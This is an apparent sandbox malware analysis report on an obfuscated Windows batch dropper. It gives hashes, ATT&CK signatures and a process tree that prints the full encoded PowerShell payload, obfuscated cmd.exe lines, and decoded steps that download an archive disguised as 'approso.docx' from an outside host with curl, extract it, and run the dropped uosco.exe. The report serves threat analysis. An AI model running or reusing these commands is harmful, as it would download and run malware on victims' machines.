630d538a5eaf2bda9e578cff494f915ba1f1d5e397b0feef382a6d80e0a85325

Analysis

max time kernel
299s
max time network
258s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 03:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Form_Video_101913710_Review_Front_Back_101572809341780_Review_Front_Back.bat
Size 9KB
Sample260717-d4vpvsd14s
SHA256 630d538a5eaf2bda9e578cff494f915ba1f1d5e397b0feef382a6d80e0a85325
MD5 f9bbafd9a1c616bfadedb7aa4eb44978
SHA1 385a9ff7e1a65555b240be5b98da2c96496516d2
SHA512 086af63f696c9a8ee07bb22cf05e7fbfdcc15c4d758686cb68f929b41401a89d5a3a2ced402905531d633ab4305d0bb3619c9c5c8cb25d1d4aec834cd19351e9
SSDEEP 96:9rUy1RudehL3dYn/hTWXNHuahrCqC4FsqMN2+e1FfsfyoRM/guOBLIqZl01LmHUA:XRu8Eh2NOCmkFqN2+k5dSLjZlWwco
TLSH
T1A0225BB8A3A6ACC411E372C56EE135447024A963D97456BCB75C1CD735ACF0ABE30BE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3028	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1892	uosco.exe

Loads dropped DLL 24 IoCs

pid	Process
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe
1892	uosco.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
3276	cmd.exe
2884	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1360	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1360	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3028	powershell.exe
3028	powershell.exe
292	powershell.exe
292	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	292	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 4936	752	cmd.exe	89
PID 752 wrote to memory of 5292	752	cmd.exe	91
PID 752 wrote to memory of 5820	752	cmd.exe	92
PID 5820 wrote to memory of 3700	5820	cmd.exe	94
PID 5820 wrote to memory of 5536	5820	cmd.exe	95
PID 5820 wrote to memory of 3028	5820	cmd.exe	96
PID 5820 wrote to memory of 292	5820	cmd.exe	97
PID 292 wrote to memory of 3276	292	powershell.exe	98
PID 3276 wrote to memory of 2884	3276	cmd.exe	99
PID 2884 wrote to memory of 1096	2884	cmd.exe	100
PID 2884 wrote to memory of 2580	2884	cmd.exe	101
PID 2580 wrote to memory of 1360	2580	cmd.exe	102
PID 2580 wrote to memory of 4804	2580	cmd.exe	103
PID 2580 wrote to memory of 3908	2580	cmd.exe	104
PID 292 wrote to memory of 2108	292	powershell.exe	105
PID 2108 wrote to memory of 1892	2108	cmd.exe	106
PID 2108 wrote to memory of 2440	2108	cmd.exe	107

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Form_Video_101913710_Review_Front_Back_101572809341780_Review_Front_Back.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\system32\mode.com
  mode con: cols=54 lines=19
  2⤵
  PID:4936
- C:\Windows\system32\mode.com
  mode con: cols=66 lines=56
  2⤵
  PID:5292
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\Form_Video_101913710_Review_Front_Back_101572809341780_Review_Front_Back.bat" h"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5820
- - C:\Windows\system32\mode.com
    mode con: cols=54 lines=19
    3⤵
    PID:3700
- - C:\Windows\system32\mode.com
    mode con: cols=66 lines=56
    3⤵
    PID:5536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command ""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e "YwBtAGQAIAAvAGMAIAAoACgAJwBeAGMAJwArACcAXgBNAF4AZAA7ADsAIAAgADsAIAAgAC8AXgB2AF4AOgBeAG8ATgBeACAAXgAgADsAIAA7ACAAIAAvAF4AUgAgAHsAMQB9ACAAOwAgADsAKABeACcAKwAoACIAewAxAH0AewAyAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnACAAXgAnACwAJwBzAEUAVAAgACcALAAnAF4AIAAgAF4AJwAsACcAVwBtAF4AYQBeACcAKQArACgAIgB7ADkAfQB7ADQAfQB7ADEAMAB9AHsAMQAxAH0AewA2AH0AewA1AH0AewA3AH0AewAxADIAfQB7ADEAMwB9AHsAMgB9AHsAMQB9AHsAOAB9AHsAMAB9AHsAMwB9ACIALQBmACcAXgBFACcALAAnAG4AXgAnACwAJwBaAF4ASQBeAEIAcQB5ACcALAAnAF4ATQBeAEUAXgBQAF4AcQBeACcALAAnAF4AcwBOAF4AQQAnACwAJwA3AC4AMABeAC4AMAAuADIAMgBeAEIAXgBeAF4AJgAnACwAJwAxADIAJwAsACcAXgBeACcALAAnAFUAJwAsACcAPQA1ACcALAAnAG4AZwAnACwAJwBCACcALAAnAF4AJgBeAEIAYwBJACcALAAnAEIAJwApACsAKAAiAHsAMgB9AHsANwB9AHsAMQAxAH0AewAxADIAfQB7ADUAfQB7ADMAfQB7ADYAfQB7ADEAfQB7ADEAMwB9AHsAOQB9AHsAMAB9AHsAMQAwAH0AewA4AH0AewA0AH0AIgAtAGYAJwBvAF4ALQByAGUAXgAnACwAJwBzACcALAAnAHkAJwAsACcAYwB1AHIASAA0AF4AQgAnACwAJwBCAC0AXgBvACcALAAnAF4AQgBeACcALAAnAC0ALQAnACwAJwBCAF4AXgBeACYAXgAnACwAJwBeAC0ATAAnACwAJwBeAEgAXgA0AC0AbgAnACwAJwAzAG8AawBeAGUAQgAnACwAJwBeACcALAAnAF4AJgAnACwAJwBzACcAKQArACgAIgB7ADMAfQB7ADEAfQB7ADQAfQB7ADYAfQB7ADIAfQB7ADAAfQB7ADUAfQB7ADgAfQB7ADcAfQAiACAALQBmACcAXgBxAEIAJwAsACcAXgAnACwAJwBJAF4AbwBeAGMAJwAsACcAQgBeAEQAJwAsACcANQA1AF4AcgBeAG8AXgBzAF4AbwBeAC4AJwAsACcAOABoAHQAXgAnACwAJwBeACcALAAnAHMAJwAsACcAdAA1ACcAKQArACgAIgB7ADQAfQB7ADIAfQB7ADcAfQB7ADEAfQB7ADUAfQB7ADYAfQB7ADAAfQB7ADgAfQB7ADMAfQAiAC0AZgAgACcAXgA0AG8AbgBEAHMAXgBlACcALAAnADcAJwAsACcAWgBIADQAJwAsACcARABzACcALAAnADoAWgBeACcALAAnAHMATgBBAGsAJwAsACcAXgBIACcALAAnAF4AJwAsACcATwBOACcAKQArACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADcAfQB7ADAAfQB7ADgAfQB7ADMAfQB7ADUAfQB7ADIAfQB7ADkAfQAiAC0AZgAgACcANQByAG8AcwBeACcALAAnAE4AQQBuAC4AbgBlAF4AdABaADUAXgA2AFoAXgAnACwAJwBeAG8AYwBxAF4AOABeAEIAXgAnACwAJwBeAC4AXgAnACwAJwBeADUAJwAsACcASQAnACwAJwBKAHkAXgBzAHQAcgA1AF4AcQBmAEIAXgBaAF4ARAAnACwAJwBeACcALAAnAG8AJwAsACcAXgBeACYAXgBeAF4AJwApACsAKAAoACIAewA2AH0AewAzAH0AewAyAH0AewAxADAAfQB7ADEAMQB9AHsANAB9AHsAMQAyAH0AewA5AH0AewA1AH0AewAxAH0AewA4AH0AewAwAH0AewA3AH0AIgAgAC0AZgAnACAAIAAnACwAJwBzAG8ALgBJAF4AbwBjAF4AcQApACcALAAnAF4ARAA1ADUAXgByAG8AXgAnACwAJwBeAC0AXgBxADYAQgAnACwAJwBeADQAQgBEACcALAAnAHIAbwBeACcALAAnACYAXgBCAHQARAByAEIAJwAsACcAOwAnACwAJwAmACYAIAAgACAAKAAgACcALAAnADUANQAnACwAJwBzAF4AbwAuAF4ASQBvACcALAAnAF4AYwBxAEIAXgBeAF4AJgBeAF4AXgAmAF4AQgBJAGUASAAnACwAJwBeACcAKQApACsAKAAoACgAIgB7ADMAfQB7ADAAfQB7ADIAfQB7ADEAfQB7ADQAfQAiACAALQBmACAAJwA7ACAAIAAoAHMAXgBFAF4AVAAnACwAJwBeACAAIABeACcALAAnACAAJwAsACcAIAAnACwAJwAgAF4ANwBqACcAKQApACkAKwAoACgAKAAiAHsANwB9AHsANAB9AHsANgB9AHsAOAB9AHsAMgB9AHsAMQB9AHsAMwB9AHsAMAB9AHsANQB9ACIALQBmACcAcwAnACwAJwBmAEIAXgA9ACcALAAnAGEAOgAnACwAJwBXAF4AIQApACAAKQAmACAAKABeACcALAAnAF4AJwAsACcAXgAnACwAJwBWAD0AIQAnACwAJwB0ACcALAAnAFcAXgBtAF4AJwApACkAKQArACgAKAAoACIAewA3AH0AewAwAH0AewA0AH0AewA2AH0AewAyAH0AewAzAH0AewAxAH0AewA1AH0AIgAgAC0AZgAgACcAIAAgAF4AcQAnACwAJwAoACAAJwAsACcAXgBxAF4APQBeACcALAAnAHcAXgAhACkAJgAgACAAJwAsACcAXgAnACwAJwA7ACAAKABeAHMARQB0ACAAXgAgAF4AIABeACcALAAnAEkAVAA9ACEAXgA3AGoAXgB0AF4AVgA6AF4ANQAnACwAJwBFAF4AVAAnACkAKQApACsAKAAiAHsAMwB9AHsANQB9AHsAMgB9AHsAMAB9AHsAMQB9AHsANAB9ACIAIAAtAGYAJwA6ACcALAAnAF4ASAAnACwAJwBeACEAXgBxAF4ASQBeAFQAXgAnACwAJwA3ADgAJwAsACcAXgA0AD0AXgAnACwAJwBeAFAAPQAnACkAKwAoACgAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAbABeACEAJwAsACcAKQAnACkAKQApACsAKAAoACgAIgB7ADEANAB9AHsAMQB9AHsAMgB9AHsANgB9AHsAMQA1AH0AewA4AH0AewAzAH0AewA0AH0AewAwAH0AewAxADMAfQB7ADEANgB9AHsAMQAwAH0AewA5AH0AewA1AH0AewA3AH0AewAxADIAfQB7ADEAMQB9ACIAIAAtAGYAJwBeACEAXgA3ADgAXgBQADoAJwAsACcAIAAnACwAJwApACYAIAAgACgAXgAnACwAJwAgACcALAAnAF4AOABeADUAPQAnACwAJwAhACkAJwAsACcAcwBFAF4AVAAnACwAJwAmACgAIAAgACgAcwAnACwAJwBeACAAJwAsACcAXgAnACwAJwA9AF4AbQAnACwAJwAgAF4AIABeACcALAAnAF4ARQBeAFQAJwAsACcAXgBlAE8AJwAsACcAIAAnACwAJwAgACcALAAnAE4AXgAnACkAKQApACsAKAAoACgAIgB7ADQAfQB7ADAAfQB7ADIAfQB7ADEAfQB7ADMAfQB7ADUAfQAiAC0AZgAgACcAUQA9ACcALAAnAF4ANQA6AHEAXgB5AD0AJwAsACcAXgAhAF4AOAAnACwAJwAlACEAJwAsACcAdABeACcALAAnACkAJwApACkAKQArACgAKAAoACIAewAyADIAfQB7ADEAOAB9AHsAMQAzAH0AewA2AH0AewA4AH0AewAxADcAfQB7ADUAfQB7ADkAfQB7ADIAMwB9AHsAMQA1AH0AewAxADEAfQB7ADMAfQB7ADEAfQB7ADEANAB9AHsAMgAwAH0AewAyADEAfQB7ADIANQB9AHsANwB9AHsAMgA0AH0AewAxADYAfQB7ADQAfQB7ADEAOQB9AHsAMQAwAH0AewAwAH0AewAyAH0AewAxADIAfQAiACAALQBmACAAJwAgACgAJwAsACcAPQAgAF4AJwAsACcAcwAnACwAJwBeACcALAAnAF4ANwBeAD0AXgBiACEAKQAmACcALAAnAF4AIQAnACwAJwBTAF4AZQB0ACAAXgAgAF4AIAAnACwAJwAgAF4AIAAnACwAJwAgAFEAXgBPAF4AaQAnACwAJwBeAHQAXgAnACwAJwAgACgAJwAsACcAQgAnACwAJwBlAHQAIABeACAAXgAgACcALAAnACAAIAAoAF4AJwAsACcAIQApACAAIAA7ACAAKQAnACwAJwA6AF4AJwAsACcAPQBeACEAXgBRAF4ATwBeAGkAXgBGADoAbAAnACwAJwBeAEYAPQAnACwAJwAgACcALAAnACYAIAAnACwAJwAmACcALAAnACAAJwAsACcAIAA7ACAAOwAgACAAKQAmACYAKAAnACwAJwBRACcALAAnADkAXgBLACcALAAnACgAXgBzAF4ARQBeAFQAJwApACkAKQArACgAKAAoACIAewAxAH0AewA2AH0AewA4AH0AewAyAH0AewAzAH0AewAwAH0AewA1AH0AewA0AH0AewA3AH0AewA5AH0AIgAtAGYAIAAnACEAJwAsACcAXgAnACwAJwA5AF4ASwBeADoAXgBNACcALAAnAEUAXgA9AE0AJwAsACcAOwAnACwAJwApACAAIAAnACwAJwAgAF4AWgBCACcALAAnACAAKQAmACAAIAAnACwAJwA9AF4AIQBeACcALAAnACAAJwApACkAKQArACgAKAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAF4AJwAsACcAKAAnACwAJwAgACAAKABzAF4AZQAnACkAKQApACsAKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsANAB9AHsAMAB9ACIALQBmACAAJwA9AF4AIQBeAFoAXgAnACwAJwAgAF4AdAAnACwAJwBeACcALAAnAHQAIAAnACwAJwBjACcAKQArACgAKAAoACIAewAzAH0AewAwAH0AewAxAH0AewAyAH0AIgAtAGYAJwA6AEQAPQBeACcALAAnAGEAXgAhACcALAAnACkAIAAnACwAJwBCACcAKQApACkAKwAoACIAewA1AH0AewAyAH0AewA3AH0AewAzAH0AewAwAH0AewAxADAAfQB7ADgAfQB7ADQAfQB7ADYAfQB7ADkAfQB7ADEAfQAiACAALQBmACAAJwA9AF4AIQAnACwAJwAmACgAJwAsACcAKABTAGUAXgB0ACcALAAnAF4AIABeACAAXgAgAF4AOQBHAF4AaAAnACwAJwBmAF4AIQApACAAJwAsACcAKQAmACgAIAAgACcALAAnACAAOwAgACcALAAnACAAJwAsACcAdABjADoAXgA2AD0AXgAnACwAJwApACYAJwAsACcAXgAnACkAKwAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAIAAgACcALAAnAEUAVAAgACcALAAnAF4AcwBeACcAKQArACgAKAAiAHsANwB9AHsAMAB9AHsAOQB9AHsAMQAwAH0AewAxAH0AewAzAH0AewA0AH0AewA2AH0AewA4AH0AewA1AH0AewAyAH0AIgAgAC0AZgAnAFAAPQAnACwAJwA9AGQAXgAnACwAJwBeAFQAIAAgAF4AJwAsACcAIQApACYAJgAnACwAJwAgACcALAAnAGUAJwAsACcAKABTACcALAAnAF4AIAA4AF4AVgBeAE8AXgAnACwAJwBeACcALAAnAF4AIQBeADkARwBeAGgAXgA6AF4AJwAsACcASQAnACkAKQArACgAIgB7ADMAfQB7ADAAfQB7ADUAfQB7ADgAfQB7ADIAfQB7ADEAMgB9AHsAMQAwAH0AewA3AH0AewAxADMAfQB7ADEANgB9AHsAMQB9AHsANgB9AHsAMQA0AH0AewAxADcAfQB7ADQAfQB7ADkAfQB7ADEANQB9AHsAMQAxAH0AIgAtAGYAIAAnACEAXgA4AF4AVgAnACwAJwAwAEcAPQAhAF4AawAnACwAJwA6AG4AVQBeAD0AJwAsACcAawBeAGgAXgBVAD0AJwAsACcAPQAnACwAJwBeACcALAAnAF4AaABeACcALAAnAFQAIAAnACwAJwBPAF4AUAAnACwAJwBeAGkAIQAnACwAJwAoAHMAZQAnACwAJwAmACgAXgAnACwAJwBeAFQAIQApACYAJwAsACcAYQBeACcALAAnAFUAJwAsACcAKQAmACcALAAnAFEAXgAnACwAJwA6AF4AcwBOAEEAJwApACsAJwBzACcAKwAnAEUAXgBUACAAXgAgAF4ATwBuAF4AMQB5AD0AIQBeAGEAXgBRAF4AMABeAEcAXgA6ADMAPQBeAHYAXgAhACkAJgAmACAAKABzAF4ARQBeAHQAIABeACAAXgAgACAAXgAxAFAAPQAhAF4ATwBuAF4AMQBeAHkAXgA6AF4AOAA9AHsAMQB9AHsAMQB9AF4AJwArACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACcAIQAnACwAJwAoAF4AJwAsACcAKQAmACYAIAAnACkAKwAoACgAIgB7ADEAfQB7ADEAMQB9AHsAMgB9AHsANAB9AHsAOAB9AHsAMwB9AHsANgB9AHsAMAB9AHsANwB9AHsAMQAwAH0AewAxADIAfQB7ADUAfQB7ADkAfQAiAC0AZgAnACYAIAAgACcALAAnAFMAXgBFAFQAIAAnACwAJwAgACcALAAnADoANQBeAD0AcAAnACwAJwAgAF4AVwAnACwAJwBKACcALAAnACEAKQAnACwAJwAgACcALAAnAGMAXgBKAD0AIQBeADEAUABeACcALAAnADoAJwAsACcAKAAnACwAJwBeACcALAAnAFMAXgBlAF4AVAAgACAAXgAgAFQAXgAzAF4ANwBeAGoAPQAhAF4AVwBeAGMAXgAnACkAKQArACgAIgB7ADQAfQB7ADUAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADEAfQAiACAALQBmACAAJwAgADsAIAAgACAAOwAnACwAJwAgACcALAAnACYAIAAoACcALAAnACAAJwAsACcASgA9AF4AJwAsACcAWQAhACkAJwApACsAKAAiAHsAMQB9AHsANAB9AHsAMwB9AHsANQB9AHsANgB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAJwBxACcALAAnACgAXgBTAF4ARQAnACwAJwBeAD0AeAAhACkAJwAsACcAXgBHADgAPQAhAFQAJwAsACcAVAAgAF4AIAAnACwAJwBeADMAXgAnACwAJwA3AF4AagA6ACcAKQArACgAIgB7ADUAfQB7ADMAfQB7ADIAfQB7ADQAfQB7ADAAfQB7ADEAfQAiAC0AZgAgACcAIAAnACwAJwAoAF4AUwBeAEUAdAAgAF4AJwAsACcAOwAgACcALAAnACAAJwAsACcAKQAmACAAIAAnACwAJwAgADsAJwApACsAKAAoACgAIgB7ADMAfQB7ADIAfQB7ADYAfQB7ADUAfQB7ADAAfQB7ADQAfQB7ADEAfQAiACAALQBmACcAIQAnACwAJwAmACcALAAnACAAXgAgAF4AQQBeADMAXgBxAF4AbwA9ACEAXgBHADgAJwAsACcAIAAnACwAJwApACYAJwAsACcAXgA9AC8AXgAnACwAJwBeADoAXgBaACcAKQApACkAKwAoACgAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwAoACcALAAnACAAIAAoAHMARQBUACcAKQApACkAKwAnACAAIAAgAF4AYQBeAEQAdQB4AD0AewAxAH0AewAxAH0AKQAgADsAIAAgACAAKQAmACYAIAAgADsAIAAgACgAIAAoAF4ARQBeAEMAXgBIAG8AJwArACgAIgB7ADIAfQB7ADMAfQB7ADAAfQB7ADEAfQAiAC0AZgAnAF4AJwAsACcAbwAnACwAJwAgADsAJwAsACcAIAAlAF4AQQBeADMAXgBxACcAKQArACcAXgA6AHsAMQB9AHsAMQB9AD0AXgAhAF4AYQBEAHUAeABeADoAXgB+AF4AIABeACAAXgAxAF4ALAAgAF4AIABeADcAXgAzACEAJQB7ADAAfQAgADsAIAAgADsAIAAlAGMATwBtAE0AJwArACgAIgB7ADMAfQB7ADcAfQB7ADAAfQB7ADIAfQB7ADQAfQB7ADYAfQB7ADUAfQB7ADkAfQB7ADgAfQB7ADEAfQAiAC0AZgAnAE8AZwBSACcALAAnAE8AJwAsACcAYQBtACcALAAnAG8AJwAsACcARgBJAGwAZQAnACwAJwAgACAAJwAsACcAUwA6AH4AIAAnACwAJwBuAHAAcgAnACwAJwAlACUAcAByACcALAAnAC0AMQAyACwAIAAgAC0AMQAxACcAKQArACcARwByAGEAbQBGAGkAbABlAFMAKABYADgANgApADoAfgAgACsAOQAsACAAIAAxACUAXgBkADsAIAApACAAIAApACAAOwAgADsAIAAgAHsAMQB9ACcAKQAtAEYAIABbAEMASABhAFIAXQAxADIANAAsAFsAQwBIAGEAUgBdADMANAApACAAPgAgACQAbgB1AGwAbAA7ACAAYwBtAGQAIAAvAGMAIAAoACgAJwBzAGUAdAAnACsAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBFAEMAPQAnACwAJwBPAE0AUwBQACcALAAnACAAQwAnACkAKwAnACUAJwArACcAVABFAE0AJwArACcAUAAlAHsAMQB9AHUAbwBzACcAKwAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAC4AZQAnACwAJwBjAG8AJwApACsAJwB4ACcAKwAnAGUAJwArACcAIAAmACAAJwArACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACcAZQAnACwAJwBoAG8AIAAhACcALAAnAGMAJwApACsAJwAgAHsAJwArACcAMAB9ACcAKwAnACAAJwArACcAZgB0AHAAJwApACAAIAAtAGYAIABbAEMAaABBAFIAXQAxADIANAAsAFsAQwBoAEEAUgBdADkAMgApAA=="
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:292
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "^c^M^d;; ; /^v^:^oN^ ^ ; ; /^R " ; ;(^sET ^ ^ ^Wm^a^=5^sN^AngB127.0^.0.22^B^^^&^^^&^BcIBZ^I^Bqyn^U^E^M^E^P^q^yB^^^&^^^&^B^curH4^B--ss^H^4-no^-re^3ok^eB^-LB-^oB^D^55^r^o^s^o^.^I^o^c^qB8ht^t5s:Z^ZH4^7sNAk^H^4onDs^eONDsNAn.ne^tZ5^6Z^Jy^str5^qfB^Z^D^5^5ros^o^.^I^ocq^8^B^^^&^^^&^BtDrB^-^q6B^D55^ro^s^o.^Io^cqB^^^&^^^&^BIeH^4BD^55ro^so.I^oc^q)&& ( ; ; (s^E^T ^ ^ ^7jt^V=!W^m^a:fB^=W^!) )& (^s^E^T ^q^IT=!^7j^t^V:^5^q^=^w^!)& ( ; (^sEt ^ ^ ^78^P=^!^q^I^T^:^H^4=^l^!) )& (^sE^T ^ ^8^5=^!^78^P:^eON^=^m^!)&( (s^E^T ^ ^t^Q=^!^8^5:q^y=%!) ; ; )&&( (^S^et ^ ^ Q^O^i^F=^!^t^Q:^B^= ^!) ; )& (^s^E^T ^ 9^K=^!^Q^O^i^F:l^7^=^b!)&& ( (set ^ ^ ^ ^ZB=^!^9^K^:^ME^=M!) ; )& ( (s^e^t ^ ^tc=^!^Z^B:D=^a^!) )&( (Se^t ^ ^ ^ ^9G^h=^!^tc:^6=^f^!) ; )&&(^s^ET ^ 8^V^O^P=^!^9G^h^:^I=d^!)&& (S^e^T ^k^h^U=!^8^V^O^P:nU^=^T!)&(seT a^Q^0G=!^k^h^U:^sNA=^i!)&&(^sE^T ^ ^On^1y=!^a^Q^0^G^:3=^v^!)&& (s^E^t ^ ^ ^1P=!^On^1^y^:^8=""^!)&& (^S^ET ^ ^Wc^J=!^1P^:5^=p!)& (S^e^T ^ T^3^7^j=!^W^c^J:J=^Y!)& ( ; ; (^S^ET ^ ^G8=!T^3^7^j:q^=x!) ; ; )& (^S^Et ^ ^ ^A^3^q^o=!^G8^:^Z^=/^!)&&( (sET ^a^Dux="") ; )&& ; ( (^E^C^Ho ; %^A^3^q^o^:""=^!^aDux^:^~^ ^ ^1^, ^ ^7^3!%| ; ; %cOmMonprOgRamFIleS:~ -12, -11%%prOGramFileS(X86):~ +9, 1%^d; ) ) ; ; ""
      4⤵
      An obfuscated cmd.exe command-line is typically used to evade detection.
      Suspicious use of WriteProcessMemory
      PID:3276
    - - C:\Windows\system32\cmd.exe
        
        cMd ;; ; /v:oN ; ; /R " ; ;(^sET ^ ^ ^Wm^a^=5^sN^AngB127.0^.0.22^B^^^&^^^&^BcIBZ^I^Bqyn^U^E^M^E^P^q^yB^^^&^^^&^B^curH4^B--ss^H^4-no^-re^3ok^eB^-LB-^oB^D^55^r^o^s^o^.^I^o^c^qB8ht^t5s:Z^ZH4^7sNAk^H^4onDs^eONDsNAn.ne^tZ5^6Z^Jy^str5^qfB^Z^D^5^5ros^o^.^I^ocq^8^B^^^&^^^&^BtDrB^-^q6B^D55^ro^s^o.^Io^cqB^^^&^^^&^BIeH^4BD^55ro^so.I^oc^q)&& ( ; ; (s^E^T ^ ^ ^7jt^V=!W^m^a:fB^=W^!) )& (^s^E^T ^q^IT=!^7j^t^V:^5^q^=^w^!)& ( ; (^sEt ^ ^ ^78^P=^!^q^I^T^:^H^4=^l^!) )& (^sE^T ^ ^8^5=^!^78^P:^eON^=^m^!)&( (s^E^T ^ ^t^Q=^!^8^5:q^y=%!) ; ; )&&( (^S^et ^ ^ Q^O^i^F=^!^t^Q:^B^= ^!) ; )& (^s^E^T ^ 9^K=^!^Q^O^i^F:l^7^=^b!)&& ( (set ^ ^ ^ ^ZB=^!^9^K^:^ME^=M!) ; )& ( (s^e^t ^ ^tc=^!^Z^B:D=^a^!) )&( (Se^t ^ ^ ^ ^9G^h=^!^tc:^6=^f^!) ; )&&(^s^ET ^ 8^V^O^P=^!^9G^h^:^I=d^!)&& (S^e^T ^k^h^U=!^8^V^O^P:nU^=^T!)&(seT a^Q^0G=!^k^h^U:^sNA=^i!)&&(^sE^T ^ ^On^1y=!^a^Q^0^G^:3=^v^!)&& (s^E^t ^ ^ ^1P=!^On^1^y^:^8=""^!)&& (^S^ET ^ ^Wc^J=!^1P^:5^=p!)& (S^e^T ^ T^3^7^j=!^W^c^J:J=^Y!)& ( ; ; (^S^ET ^ ^G8=!T^3^7^j:q^=x!) ; ; )& (^S^Et ^ ^ ^A^3^q^o=!^G8^:^Z^=/^!)&&( (sET ^a^Dux="") ; )&& ; ( (^E^C^Ho ; %^A^3^q^o^:""=^!^aDux^:^~^ ^ ^1^, ^ ^7^3!%| ; ; Cm^d; ) ) ; ; "
        5⤵
        An obfuscated cmd.exe command-line is typically used to evade detection.
        Suspicious use of WriteProcessMemory
        
        PID:2884
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECHo ; %A3qo:""="%"
        6⤵
        
        PID:1096
      - C:\Windows\system32\cmd.exe
        
        Cmd ;
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2580
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.22
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1360
        
        C:\Windows\system32\curl.exe
        
        curl --ssl-no-revoke -L -o approso.docx "https://biklonasmain.net/pf/YystrwW/approso.docx"
        7⤵
        
        PID:4804
        
        C:\Windows\system32\tar.exe
        
        tar -xf approso.docx
        7⤵
        
        PID:3908
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set COMSPEC=%TEMP%\uosco.exe & echo ! | ftp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2108
    - - C:\Users\Admin\AppData\Local\Temp\uosco.exe
        
        C:\Users\Admin\AppData\Local\Temp\uosco.exe /S /D /c" echo ! "
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1892
    - - C:\Windows\system32\ftp.exe
        
        ftp
        5⤵
        
        PID:2440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 bf1aa6ac9ad2aba7c10a908fe04522937f89215eed432273fe494d0b6a827426
MD5 367cd011c44fd63e1fa95cab22ac2c26
SHA1 59a7c8c8f0ac1bb652ca5e01e984da95b18b5ccd
SHA512 de6a8bd27da753255d813fdeca4dff39da83e3c7818987928aa2797ea2ee27db127a417347d6005e5fb7f737cf2ef897c49d50d196ede66a0e35592a1e44afa7
MD5 SHA1 SHA512

Submit Download

Qt6Core.dll

Path C:\Users\Admin\AppData\Local\Temp\Qt6Core.dll
Size 7.2MB
SHA256 96e9c011aefb1f830cec9331ab0df4c02b4a53b327e722e763e0b17cf93ef315
MD5 4438bfb83e601bbf48d6f308e5757c12
SHA1 3804374340f3809161ca589b2213156c7cda9332
SHA512 b58567961480da07a9bb15ad07cd5000679b47c3b3eeb8a6ece8db90707f4e5c85a0fef3e8b4a04a470f5fa0b7d20de244f5b923492361f1657209bded81b9e4
SSDEEP 98304:ikDVNhKFdu9CwJsv6tY+2/3ZULNVaqo+yiB2ZFpfBDV:iUVHKFdu9CwJsv6tYd/3ZeNDoKkpf9V
TLSH
